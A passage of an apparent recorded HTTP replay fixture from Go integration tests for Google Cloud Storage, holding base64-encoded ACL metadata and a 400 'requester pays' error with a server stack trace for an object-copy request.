CI6ImNvcHkiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTkxNTg0MTk5NyIsImVudGl0eSI6InByb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJPV05FUiIsInByb2plY3RUZWFtIjp7InByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJ0ZWFtIjoib3duZXJzIn0sImV0YWciOiJDTTJEODkzeC9lRUNFQUU9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMvY29weS8xNTU2ODM1OTE1ODQxOTk3L3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMvby9jb3B5L2FjbC9wcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0IiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAzIiwib2JqZWN0IjoiY29weSIsImdlbmVyYXRpb24iOiIxNTU2ODM1OTE1ODQxOTk3IiwiZW50aXR5IjoicHJvamVjdC1lZGl0b3JzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJPV05FUiIsInByb2plY3RUZWFtIjp7InByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJ0ZWFtIjoiZWRpdG9ycyJ9LCJldGFnIjoiQ00yRDg5M3gvZUVDRUFFPSJ9LHsia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAzL2NvcHkvMTU1NjgzNTkxNTg0MTk5Ny9wcm9qZWN0LXZpZXdlcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAzL28vY29weS9hY2wvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMyIsIm9iamVjdCI6ImNvcHkiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTkxNTg0MTk5NyIsImVudGl0eSI6InByb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiUkVBREVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJ2aWV3ZXJzIn0sImV0YWciOiJDTTJEODkzeC9lRUNFQUU9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMvY29weS8xNTU2ODM1OTE1ODQxOTk3L3VzZXItYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20iLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMvby9jb3B5L2FjbC91c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAzIiwib2JqZWN0IjoiY29weSIsImdlbmVyYXRpb24iOiIxNTU2ODM1OTE1ODQxOTk3IiwiZW50aXR5IjoidXNlci1hbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsInJvbGUiOiJPV05FUiIsImVtYWlsIjoiYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20iLCJldGFnIjoiQ00yRDg5M3gvZUVDRUFFPSJ9XSwib3duZXIiOnsiZW50aXR5IjoidXNlci1hbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSJ9LCJjcmMzMmMiOiJtbkc3VEE9PSIsImV0YWciOiJDTTJEODkzeC9lRUNFQUU9In19" - } - }, - { - "ID": "9617f04d2dc95a7c", - "Request": { - "Method": "POST", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0003/o/foo/rewriteTo/b/go-integration-test-20190502-80633403432013-0003/o/copy?alt=json\u0026prettyPrint=false\u0026projection=full", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "Content-Length": [ - "3" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "application/json", - "BodyParts": [ - "e30K" - ] - }, - "Response": { - "StatusCode": 400, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Content-Length": [ - "12683" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:25:16 GMT" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "agent_rejected" - ], - "X-Guploader-Upload-Result": [ - "agent_rejected" - ], - "X-Guploader-Uploadid": [ - "AEnB2UqeJiJeDLLZgn9vlRyNk1plY-7dcPXaz47gPNAhMqmSx5ZMvg6pqWj18PVUR65UGuWE7Amtua_zqsv0dVyDZE2FFceMeIQcQ2n6noklvRS9kxPXcEU" - ] - }, - "Body": "eyJlcnJvciI6eyJlcnJvcnMiOlt7ImRvbWFpbiI6Imdsb2JhbCIsInJlYXNvbiI6InJlcXVpcmVkIiwibWVzc2FnZSI6IkJ1Y2tldCBpcyByZXF1ZXN0ZXIgcGF5cyBidWNrZXQgYnV0IG5vIHVzZXIgcHJvamVjdCBwcm92aWRlZC4iLCJkZWJ1Z0luZm8iOiJjb20uZ29vZ2xlLm5ldC5ycGMzLlJwY0V4Y2VwdGlvbjogY2xvdWQuYmlnc3RvcmUuUmVzcG9uc2VDb2RlLkVycm9yQ29kZTo6VVNFUl9QUk9KRUNUX01JU1NJTkc6IEJ1Y2tldCBpcyBSZXF1ZXN0ZXIgUGF5cyBidWNrZXQgYnV0IG5vIGJpbGxpbmcgcHJvamVjdCBpZCBwcm92aWRlZCBmb3Igbm9uLW93bmVyLlxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50b1JwYzNFeGNlcHRpb24oQmlnc3RvcmVFeGNlcHRpb24uamF2YToxNDcpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uaGFuZGxlcnMub2JqZWN0cy5SZXdyaXRlT2JqZWN0LnJld3JpdGUoUmV3cml0ZU9iamVjdC5qYXZhOjIwMClcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5vYmplY3RzLlJld3JpdGVPYmplY3QuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKFJld3JpdGVPYmplY3QuamF2YToxOTMpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uaGFuZGxlcnMub2JqZWN0cy5SZXdyaXRlT2JqZWN0LmhhbmRsZVJlcXVlc3RSZWNlaXZlZChSZXdyaXRlT2JqZWN0LmphdmE6NDcpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uZnJhbWV3b3JrLlJlcXVlc3RIYW5kbGVyLmhhbmRsZVJlcXVlc3RSZWNlaXZlZChSZXF1ZXN0SGFuZGxlci5qYXZhOjMxMClcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5mcmFtZXdvcmsuUmVxdWVzdEhhbmRsZXIuaGFuZGxlKFJlcXVlc3RIYW5kbGVyLmphdmE6MjU2KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLk9iamVjdHNEZWxlZ2F0b3IucmV3cml0ZShPYmplY3RzRGVsZWdhdG9yLmphdmE6MTIxKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5ScGNSZWNlaXZlci5sYW1iZGEkcHJvY2Vzc1JlcXVlc3RBc3luYyQ0KFJwY1JlY2VpdmVyLmphdmE6MjAyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5Bc3luY0V4ZWN1dG9yLmxhbWJkYSRzdWJtaXQkMChBc3luY0V4ZWN1dG9yLmphdmE6MjUzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW5JbkNvbnRleHQoQ29udGV4dFJ1bm5hYmxlLmphdmE6NTApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlJDEucnVuKENvbnRleHRSdW5uYWJsZS5qYXZhOjM5KVxuXHRhdCBpby5ncnBjLkNvbnRleHQucnVuKENvbnRleHQuamF2YTo1NjUpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5DdXJyZW50Q29udGV4dC5ydW5JbkNvbnRleHQoQ3VycmVudENvbnRleHQuamF2YToyMDQpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dE5vVW5yZWYoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjcyKVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuR2VuZXJpY0NvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHQoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjY0KVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzUpXG5cdGF0IGphdmEudXRpbC5jb25jdXJyZW50LlRocmVhZFBvb2xFeGVjdXRvci5ydW5Xb3JrZXIoVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6MTE0OSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yJFdvcmtlci5ydW4oVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6NjI0KVxuXHRhdCBqYXZhLmxhbmcuVGhyZWFkLnJ1bihUaHJlYWQuamF2YTo3NDgpXG5DYXVzZWQgYnk6IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uOiBCdWNrZXQgaXMgUmVxdWVzdGVyIFBheXMgYnVja2V0IGJ1dCBubyBiaWxsaW5nIHByb2plY3QgaWQgcHJvdmlkZWQgZm9yIG5vbi1vd25lci5cblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzEyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIwKVxuXHQuLi4gMTggbW9yZVxuXG5jb20uZ29vZ2xlLmFwaS5zZXJ2ZXIuY29yZS5GYXVsdDogSW1tdXRhYmxlRXJyb3JEZWZpbml0aW9ue2Jhc2U9UkVRVUlSRUQsIGNhdGVnb3J5PVVTRVJfRVJST1IsIGNhdXNlPW51bGwsIGRlYnVnSW5mbz1jb20uZ29vZ2xlLm5ldC5ycGMzLlJwY0V4Y2VwdGlvbjogY2xvdWQuYmlnc3RvcmUuUmVzcG9uc2VDb2RlLkVycm9yQ29kZTo6VVNFUl9QUk9KRUNUX01JU1NJTkc6IEJ1Y2tldCBpcyBSZXF1ZXN0ZXIgUGF5cyBidWNrZXQgYnV0IG5vIGJpbGxpbmcgcHJvamVjdCBpZCBwcm92aWRlZCBmb3Igbm9uLW93bmVyLlxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50b1JwYzNFeGNlcHRpb24oQmlnc3RvcmVFeGNlcHRpb24uamF2YToxNDcpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uaGFuZGxlcnMub2JqZWN0cy5SZXdyaXRlT2JqZWN0LnJld3JpdGUoUmV3cml0ZU9iamVjdC5qYXZhOjIwMClcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5vYmplY3RzLlJld3JpdGVPYmplY3QuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKFJld3JpdGVPYmplY3QuamF2YToxOTMpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uaGFuZGxlcnMub2JqZWN0cy5SZXdyaXRlT2JqZWN0LmhhbmRsZVJlcXVlc3RSZWNlaXZlZChSZXdyaXRlT2JqZWN0LmphdmE6NDcpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uZnJhbWV3b3JrLlJlcXVlc3RIYW5kbGVyLmhhbmRsZVJlcXVlc3RSZWNlaXZlZChSZXF1ZXN0SGFuZGxlci5qYXZhOjMxMClcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5mcmFtZXdvcmsuUmVxdWVzdEhhbmRsZXIuaGFuZGxlKFJlcXVlc3RIYW5kbGVyLmphdmE6MjU2KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLk9iamVjdHNEZWxlZ2F0b3IucmV3cml0ZShPYmplY3RzRGVsZWdhdG9yLmphdmE6MTIxKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5ScGNSZWNlaXZlci5sYW1iZGEkcHJvY2Vzc1JlcXVlc3RBc3luYyQ0KFJwY1JlY2VpdmVyLmphdmE6MjAyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5Bc3luY0V4ZWN1dG9yLmxhbWJkYSRzdWJtaXQkMChBc3luY0V4ZWN1dG9yLmphdmE6MjUzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW5JbkNvbnRleHQoQ29udGV4dFJ1bm5hYmxlLmphdmE6NTApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlJDEucnVuKENvbnRleHRSdW5uYWJsZS5qYXZhOjM5KVxuXHRhdCBpby5ncnBjLkNvbnRleHQucnVuKENvbnRleHQuamF2YTo1NjUpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5DdXJyZW50Q29udGV4dC5ydW5JbkNvbnRleHQoQ3VycmVudENvbnRleHQuamF2YToyMDQpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dE5vVW5yZWYoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjcyKVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuR2VuZXJpY0NvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHQoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjY0KVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzUpXG5cdGF0IGphdmEudXRpbC5jb25jdXJyZW50LlRocmVhZFBvb2xFeGVjdXRvci5ydW5Xb3JrZXIoVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6MTE0OSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yJFdvcmtlci5ydW4oVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6NjI0KVxuXHRhdCBqYXZhLmxhbmcuVGhyZWFkLnJ1bihUaHJlYWQuamF2YTo3NDgpXG5DYXVzZWQgYnk6IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uOiBCdWNrZXQgaXMgUmVxdWVzdGVyIFBheXMgYnVja2V0IGJ1dCBubyBiaWxsaW5nIHByb2plY3QgaWQgcHJvdmlkZWQgZm9yIG5vbi1vd25lci5cblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzEyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIwKVxuXHQuLi4gMTggbW9yZVxuLCBkb21haW49Z2xvYmFsLCBleHRlbmRlZEhlbHA9bnVsbCwgaHR0cEhlYWRlcnM9e30sIGh0dHBTdGF0dXM9YmFkUmVxdWVzdCwgaW50ZXJuYWxSZWFzb249UmVhc29ue2FyZ3VtZW50cz17fSwgY2F1c2U9bnVsbCwgY29kZT1nZGF0YS5Db3JlRXJyb3JEb21haW4uUkVRVUlSRUQsIGNyZWF0ZWRCeUJhY2tlbmQ9dHJ1ZSwgZGVidWdNZXNzYWdlPWNvbS5nb29nbGUubmV0LnJwYzMuUnBjRXhjZXB0aW9uOiBjbG91ZC5iaWdzdG9yZS5SZXNwb25zZUNvZGUuRXJyb3JDb2RlOjpVU0VSX1BST0pFQ1RfTUlTU0lORzogQnVja2V0IGlzIFJlcXVlc3RlciBQYXlzIGJ1Y2tldCBidXQgbm8gYmlsbGluZyBwcm9qZWN0IGlkIHByb3ZpZGVkIGZvciBub24tb3duZXIuXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRvUnBjM0V4Y2VwdGlvbihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjE0Nylcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5vYmplY3RzLlJld3JpdGVPYmplY3QucmV3cml0ZShSZXdyaXRlT2JqZWN0LmphdmE6MjAwKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLm9iamVjdHMuUmV3cml0ZU9iamVjdC5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoUmV3cml0ZU9iamVjdC5qYXZhOjE5Mylcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5vYmplY3RzLlJld3JpdGVPYmplY3QuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKFJld3JpdGVPYmplY3QuamF2YTo0Nylcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5mcmFtZXdvcmsuUmVxdWVzdEhhbmRsZXIuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKFJlcXVlc3RIYW5kbGVyLmphdmE6MzEwKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGUoUmVxdWVzdEhhbmRsZXIuamF2YToyNTYpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uT2JqZWN0c0RlbGVnYXRvci5yZXdyaXRlKE9iamVjdHNEZWxlZ2F0b3IuamF2YToxMjEpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLlJwY1JlY2VpdmVyLmxhbWJkYSRwcm9jZXNzUmVxdWVzdEFzeW5jJDQoUnBjUmVjZWl2ZXIuamF2YToyMDIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLkFzeW5jRXhlY3V0b3IubGFtYmRhJHN1Ym1pdCQwKEFzeW5jRXhlY3V0b3IuamF2YToyNTMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bkluQ29udGV4dChDb250ZXh0UnVubmFibGUuamF2YTo1MClcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUkMS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzkpXG5cdGF0IGlvLmdycGMuQ29udGV4dC5ydW4oQ29udGV4dC5qYXZhOjU2NSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkN1cnJlbnRDb250ZXh0LnJ1bkluQ29udGV4dChDdXJyZW50Q29udGV4dC5qYXZhOjIwNClcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkdlbmVyaWNDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0Tm9VbnJlZihHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NzIpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dChHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NjQpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bihDb250ZXh0UnVubmFibGUuamF2YTozNSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yLnJ1bldvcmtlcihUaHJlYWRQb29sRXhlY3V0b3IuamF2YToxMTQ5KVxuXHRhdCBqYXZhLnV0aWwuY29uY3VycmVudC5UaHJlYWRQb29sRXhlY3V0b3IkV29ya2VyLnJ1bihUaHJlYWRQb29sRXhlY3V0b3IuamF2YTo2MjQpXG5cdGF0IGphdmEubGFuZy5UaHJlYWQucnVuKFRocmVhZC5qYXZhOjc0OClcbkNhdXNlZCBieTogY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb246IEJ1Y2tldCBpcyBSZXF1ZXN0ZXIgUGF5cyBidWNrZXQgYnV0IG5vIGJpbGxpbmcgcHJvamVjdCBpZCBwcm92aWRlZCBmb3Igbm9uLW93bmVyLlxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMTIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjApXG5cdC4uLiAxOCBtb3JlXG4sIGVycm9yUHJvdG9Db2RlPVJFUVVJUkVELCBlcnJvclByb3RvRG9tYWluPWdkYXRhLkNvcmVFcnJvckRvbWFpbiwgZmlsdGVyZWRNZXNzYWdlPW51bGwsIGxvY2F0aW9uPW51bGwsIG1lc3NhZ2U9QnVja2V0IGlzIHJlcXVlc3RlciBwYXlzIGJ1Y2tldCBidXQgbm8gdXNlciBwcm9qZWN0IHByb3ZpZGVkLiwgdW5uYW1lZEFyZ3VtZW50cz1bXX0sIGxvY2F0aW9uPW51bGwsIG1lc3NhZ2U9QnVja2V0IGlzIHJlcXVlc3RlciBwYXlzIGJ1Y2tldCBidXQgbm8gdXNlciBwcm9qZWN0IHByb3ZpZGVkLiwgcmVhc29uPXJlcXVpcmVkLCBycGNDb2RlPTQwMH0gQnVja2V0IGlzIHJlcXVlc3RlciBwYXlzIGJ1Y2tldCBidXQgbm8gdXNlciBwcm9qZWN0IHByb3ZpZGVkLjogY29tLmdvb2dsZS5uZXQucnBjMy5ScGNFeGNlcHRpb246IGNsb3VkLmJpZ3N0b3JlLlJlc3BvbnNlQ29kZS5FcnJvckNvZGU6OlVTRVJfUFJPSkVDVF9NSVNTSU5HOiBCdWNrZXQgaXMgUmVxdWVzdGVyIFBheXMgYnVja2V0IGJ1dCBubyBiaWxsaW5nIHByb2plY3QgaWQgcHJvdmlkZWQgZm9yIG5vbi1vd25lci5cblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udG9ScGMzRXhjZXB0aW9uKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MTQ3KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLm9iamVjdHMuUmV3cml0ZU9iamVjdC5yZXdyaXRlKFJld3JpdGVPYmplY3QuamF2YToyMDApXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uaGFuZGxlcnMub2JqZWN0cy5SZXdyaXRlT2JqZWN0LmhhbmRsZVJlcXVlc3RSZWNlaXZlZChSZXdyaXRlT2JqZWN0LmphdmE6MTkzKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLm9iamVjdHMuUmV3cml0ZU9iamVjdC5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoUmV3cml0ZU9iamVjdC5qYXZhOjQ3KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoUmVxdWVzdEhhbmRsZXIuamF2YTozMTApXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uZnJhbWV3b3JrLlJlcXVlc3RIYW5kbGVyLmhhbmRsZShSZXF1ZXN0SGFuZGxlci5qYXZhOjI1Nilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5PYmplY3RzRGVsZWdhdG9yLnJld3JpdGUoT2JqZWN0c0RlbGVnYXRvci5qYXZhOjEyMSlcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5pc29sYXRpb24uUnBjUmVjZWl2ZXIubGFtYmRhJHByb2Nlc3NSZXF1ZXN0QXN5bmMkNChScGNSZWNlaXZlci5qYXZhOjIwMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5pc29sYX